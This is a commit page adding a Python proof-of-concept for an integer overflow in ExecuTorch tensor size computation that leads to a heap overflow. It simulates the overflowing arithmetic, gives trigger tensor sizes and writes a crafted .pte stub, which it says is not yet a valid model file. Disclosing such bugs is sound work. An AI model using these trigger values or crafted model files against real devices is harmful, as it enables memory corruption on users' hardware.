0xiviel commited on
Commit
eee33e5
Β·
verified Β·
1 Parent(s): beefc26

PoC: ExecuTorch compute_numel() integer overflow (CWE-190 -> CWE-122)

Browse files
Files changed (1) hide show
  1. poc_F1_compute_numel_overflow.py +283 -0
poc_F1_compute_numel_overflow.py ADDED
@@ -0,0 +1,283 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """
3
+ PoC: ExecuTorch compute_numel() Integer Overflow β†’ Heap Buffer Overflow
4
+ CWE-190 (Integer Overflow) β†’ CWE-122 (Heap Buffer Overflow)
5
+
6
+ Target: pytorch/executorch
7
+ File: runtime/core/portable_type/tensor_impl.cpp, line 41
8
+ runtime/core/portable_type/tensor_impl.cpp, line 69
9
+
10
+ VULNERABILITY:
11
+ ssize_t compute_numel(const TensorImpl::SizesType* sizes, ssize_t dim) {
12
+ ssize_t numel = 1;
13
+ for (const auto i : c10::irange(dim)) {
14
+ ET_CHECK_MSG(sizes[i] >= 0, ...);
15
+ numel *= sizes[i]; // ← NO OVERFLOW CHECK (line 41)
16
+ }
17
+ return numel;
18
+ }
19
+
20
+ size_t TensorImpl::nbytes() const {
21
+ return numel_ * elementSize(type_); // ← NO OVERFLOW CHECK (line 69)
22
+ }
23
+
24
+ SAFE VERSION EXISTS (not used in tensor construction):
25
+ runtime/executor/method_meta.cpp:56-85 uses c10::mul_overflows()
26
+
27
+ IMPACT:
28
+ Malicious .pte model file with crafted tensor sizes causes compute_numel()
29
+ to overflow, producing wrong numel. nbytes() returns small size, causing
30
+ under-allocation. Subsequent tensor data access overflows the heap buffer.
31
+
32
+ TRIGGER VALUES:
33
+ 64-bit: sizes [2147483647, 2147483647, 4] β†’ ssize_t overflow
34
+ 32-bit: sizes [65536, 65536] β†’ numel wraps to 0 β†’ zero-byte alloc
35
+ """
36
+ import struct
37
+ import ctypes
38
+ import sys
39
+ import os
40
+
41
+ INT32_MAX = (1 << 31) - 1
42
+ SSIZE64_MAX = (1 << 63) - 1
43
+ SIZE64_MAX = (1 << 64) - 1
44
+
45
+
46
+ def simulate_compute_numel_64bit(sizes):
47
+ """Simulates compute_numel() on 64-bit target (ssize_t = int64_t)"""
48
+ numel = ctypes.c_int64(1)
49
+ for s in sizes:
50
+ assert s >= 0, "Non-negative check passes"
51
+ numel = ctypes.c_int64(numel.value * s)
52
+ return numel.value
53
+
54
+
55
+ def simulate_compute_numel_32bit(sizes):
56
+ """Simulates compute_numel() on 32-bit target (ssize_t = int32_t)"""
57
+ numel = ctypes.c_int32(1)
58
+ for s in sizes:
59
+ assert s >= 0, "Non-negative check passes"
60
+ numel = ctypes.c_int32(numel.value * s)
61
+ return numel.value
62
+
63
+
64
+ def simulate_nbytes(numel_ssize, element_size):
65
+ """Simulates TensorImpl::nbytes() = numel_ * elementSize(type_)
66
+ numel_ is ssize_t, result is size_t (unsigned)"""
67
+ return ctypes.c_uint64(numel_ssize * element_size).value
68
+
69
+
70
+ def safe_calculate_nbytes(sizes, element_size):
71
+ """Safe version from method_meta.cpp:56-85 using overflow detection"""
72
+ n = 1
73
+ for i, s in enumerate(sizes):
74
+ product = n * s
75
+ if product > SIZE64_MAX:
76
+ return None, f"Overflow at dimension {i}"
77
+ n = product
78
+ total = n * element_size
79
+ if total > SIZE64_MAX:
80
+ return None, "Overflow in element size multiplication"
81
+ return total, "OK"
82
+
83
+
84
+ def create_malicious_pte_binary():
85
+ """
86
+ Creates a minimal binary that demonstrates the .pte file structure
87
+ containing overflow-triggering tensor sizes.
88
+
89
+ A real .pte file uses FlatBuffers. This creates a structural demonstration
90
+ showing where the malicious sizes would be embedded.
91
+ """
92
+ # FlatBuffer binary layout for a minimal Program with one Tensor
93
+ # The actual exploit requires a valid FlatBuffer; this shows the concept
94
+
95
+ # Extended header: magic "eh00" + length + program_size + segment_base_offset
96
+ eh_magic = b'eh00'
97
+ eh_length = struct.pack('<I', 28) # header length
98
+ eh_program_size = struct.pack('<Q', 256) # program_size
99
+ eh_segment_base_offset = struct.pack('<Q', 0) # no segments
100
+ eh_segment_data_size = struct.pack('<Q', 0)
101
+
102
+ # FlatBuffer with ET12 identifier containing malicious tensor sizes
103
+ # Offset 0: FlatBuffer size prefix
104
+ # Offset 4: File identifier "ET12"
105
+ # Offset 8: Extended header starts here
106
+
107
+ # The malicious tensor sizes that trigger overflow:
108
+ malicious_sizes_64bit = [INT32_MAX, INT32_MAX, 4] # overflows ssize_t on 64-bit
109
+ malicious_sizes_32bit = [65536, 65536] # overflows ssize_t on 32-bit (β†’ 0)
110
+
111
+ # Pack sizes as int32 (FlatBuffer schema: sizes: [int])
112
+ sizes_data_64 = b''.join(struct.pack('<i', s) for s in malicious_sizes_64bit)
113
+ sizes_data_32 = b''.join(struct.pack('<i', s) for s in malicious_sizes_32bit)
114
+
115
+ # Build minimal structure
116
+ # Note: This is NOT a valid FlatBuffer - it's a structural demonstration
117
+ # showing where overflow-triggering data would be placed
118
+ fb_identifier = b'ET12'
119
+
120
+ # Minimal flatbuffer-like structure
121
+ pte_data = bytearray(512)
122
+
123
+ # Byte 0-3: flatbuffer size prefix (little-endian)
124
+ struct.pack_into('<I', pte_data, 0, 256)
125
+
126
+ # Byte 4-7: File identifier
127
+ pte_data[4:8] = fb_identifier
128
+
129
+ # Byte 8-11: Extended header magic
130
+ pte_data[8:12] = eh_magic
131
+
132
+ # Byte 12-15: Extended header length
133
+ pte_data[12:16] = eh_length
134
+
135
+ # Byte 16-23: program_size
136
+ pte_data[16:24] = eh_program_size
137
+
138
+ # Byte 24-31: segment_base_offset
139
+ pte_data[24:32] = eh_segment_base_offset
140
+
141
+ # Byte 32-39: segment_data_size
142
+ pte_data[32:40] = eh_segment_data_size
143
+
144
+ # Embed the malicious tensor sizes at a known offset for demonstration
145
+ # In a real FlatBuffer, these would be in the Tensor.sizes vector
146
+ SIZES_OFFSET = 64
147
+ pte_data[SIZES_OFFSET:SIZES_OFFSET + len(sizes_data_64)] = sizes_data_64
148
+
149
+ return bytes(pte_data), malicious_sizes_64bit, malicious_sizes_32bit
150
+
151
+
152
+ def main():
153
+ print("=" * 72)
154
+ print(" ExecuTorch compute_numel() Integer Overflow PoC")
155
+ print(" CWE-190 β†’ CWE-122 (Heap Buffer Overflow)")
156
+ print("=" * 72)
157
+
158
+ # ── Test 1: 64-bit overflow ──
159
+ print("\n[1] 64-bit target: sizes = [INT32_MAX, INT32_MAX, 4]")
160
+ print("─" * 50)
161
+
162
+ sizes_64 = [INT32_MAX, INT32_MAX, 4]
163
+ numel_64 = simulate_compute_numel_64bit(sizes_64)
164
+ nbytes_64 = simulate_nbytes(numel_64, 4) # float32 = 4 bytes
165
+
166
+ expected_numel = INT32_MAX * INT32_MAX * 4
167
+ expected_nbytes = expected_numel * 4
168
+
169
+ print(f" Tensor sizes: {sizes_64}")
170
+ print(f" Expected numel: {expected_numel}")
171
+ print(f" compute_numel() result: {numel_64}")
172
+ print(f" Overflowed: {numel_64 != expected_numel}")
173
+ print(f" nbytes() (float32): {nbytes_64}")
174
+ print(f" Expected nbytes: {expected_nbytes}")
175
+
176
+ if numel_64 < 0:
177
+ print(f" *** numel is NEGATIVE ({numel_64}) β€” signed overflow ***")
178
+
179
+ # ── Test 2: 32-bit overflow (embedded target) ──
180
+ print("\n[2] 32-bit target: sizes = [65536, 65536]")
181
+ print("─" * 50)
182
+
183
+ sizes_32 = [65536, 65536]
184
+ numel_32 = simulate_compute_numel_32bit(sizes_32)
185
+ nbytes_32 = ctypes.c_uint32(numel_32 * 4).value # 32-bit size_t
186
+
187
+ print(f" Tensor sizes: {sizes_32}")
188
+ print(f" Expected numel: {65536 * 65536}")
189
+ print(f" compute_numel() result: {numel_32}")
190
+ print(f" nbytes() (float32): {nbytes_32}")
191
+
192
+ if numel_32 == 0:
193
+ print(f" *** numel is ZERO β€” allocator returns 0 bytes ***")
194
+ print(f" *** But tensor shape says {65536}x{65536} = 4GB data ***")
195
+ print(f" *** Any tensor access = HEAP BUFFER OVERFLOW ***")
196
+
197
+ # ── Test 3: Comparison with safe code ──
198
+ print("\n[3] Safe vs Unsafe comparison")
199
+ print("─" * 50)
200
+
201
+ print(" UNSAFE path (tensor_impl.cpp:41):")
202
+ print(f" compute_numel({sizes_64}) = {numel_64} ← WRONG")
203
+ print()
204
+
205
+ safe_result, status = safe_calculate_nbytes(sizes_64, 4)
206
+ print(" SAFE path (method_meta.cpp:62):")
207
+ print(f" calculate_nbytes({sizes_64}, float32) = {status}")
208
+ if safe_result is None:
209
+ print(" ← Correctly detects overflow and returns error")
210
+ print()
211
+
212
+ print(" The safe version uses c10::mul_overflows() but is only")
213
+ print(" used in the metadata path, NOT in tensor construction.")
214
+
215
+ # ── Test 4: Generate malicious .pte structure ──
216
+ print("\n[4] Malicious .pte file generation")
217
+ print("─" * 50)
218
+
219
+ pte_data, sizes_64_used, sizes_32_used = create_malicious_pte_binary()
220
+
221
+ output_path = os.path.join(os.path.dirname(__file__), "malicious_numel_overflow.pte")
222
+ with open(output_path, "wb") as f:
223
+ f.write(pte_data)
224
+
225
+ print(f" Created: {output_path}")
226
+ print(f" Size: {len(pte_data)} bytes")
227
+ print(f" 64-bit trigger sizes: {sizes_64_used}")
228
+ print(f" 32-bit trigger sizes: {sizes_32_used}")
229
+ print()
230
+ print(" NOTE: This is a structural demonstration. A full exploit requires")
231
+ print(" a valid FlatBuffer with the ExecuTorch schema compiled in.")
232
+ print(" Build ExecuTorch with ASAN to confirm the heap overflow:")
233
+ print(" cmake -DCMAKE_CXX_FLAGS='-fsanitize=address' ..")
234
+ print(" # Then load the crafted .pte via Program::load()")
235
+
236
+ # ── Test 5: Additional overflow in nbytes() ──
237
+ print("\n[5] nbytes() double overflow")
238
+ print("─" * 50)
239
+
240
+ # Even if numel doesn't overflow, numel * elementSize can
241
+ sizes_nbytes = [INT32_MAX, 2]
242
+ numel_nb = simulate_compute_numel_64bit(sizes_nbytes)
243
+ # With float64 (8 bytes): INT32_MAX * 2 * 8 = ~34 GB, fits in size_t
244
+ # With complex128 (16 bytes on some platforms):
245
+ nbytes_huge = simulate_nbytes(numel_nb, 16)
246
+ expected_huge = INT32_MAX * 2 * 16
247
+
248
+ print(f" sizes = {sizes_nbytes}, element_size = 16 (complex128)")
249
+ print(f" numel = {numel_nb} (fits in ssize_t)")
250
+ print(f" nbytes = numel * 16 = {nbytes_huge}")
251
+ print(f" Expected: {expected_huge}")
252
+ print(f" Overflow: {nbytes_huge != expected_huge}")
253
+
254
+ # ── Summary ──
255
+ print("\n" + "=" * 72)
256
+ print(" SUMMARY")
257
+ print("=" * 72)
258
+ print("""
259
+ Vulnerable functions:
260
+ 1. compute_numel() β€” tensor_impl.cpp:41
261
+ 2. TensorImpl::nbytes() β€” tensor_impl.cpp:69
262
+
263
+ Root cause:
264
+ Multiplication of attacker-controlled int32 tensor sizes into ssize_t
265
+ without overflow detection. Product wraps around, producing incorrect
266
+ numel that leads to under-sized memory allocation.
267
+
268
+ Safe code exists but unused:
269
+ method_meta.cpp:56-85 uses c10::mul_overflows() β€” same repo, same team,
270
+ but NOT applied to the tensor construction path.
271
+
272
+ Impact:
273
+ Heap buffer overflow when loading malicious .pte model files.
274
+ Affects mobile/embedded devices (ExecuTorch's primary targets).
275
+ 32-bit targets: trivially exploitable (numel wraps to 0).
276
+ 64-bit targets: exploitable with carefully chosen sizes.
277
+ """)
278
+
279
+ return 0
280
+
281
+
282
+ if __name__ == "__main__":
283
+ sys.exit(main())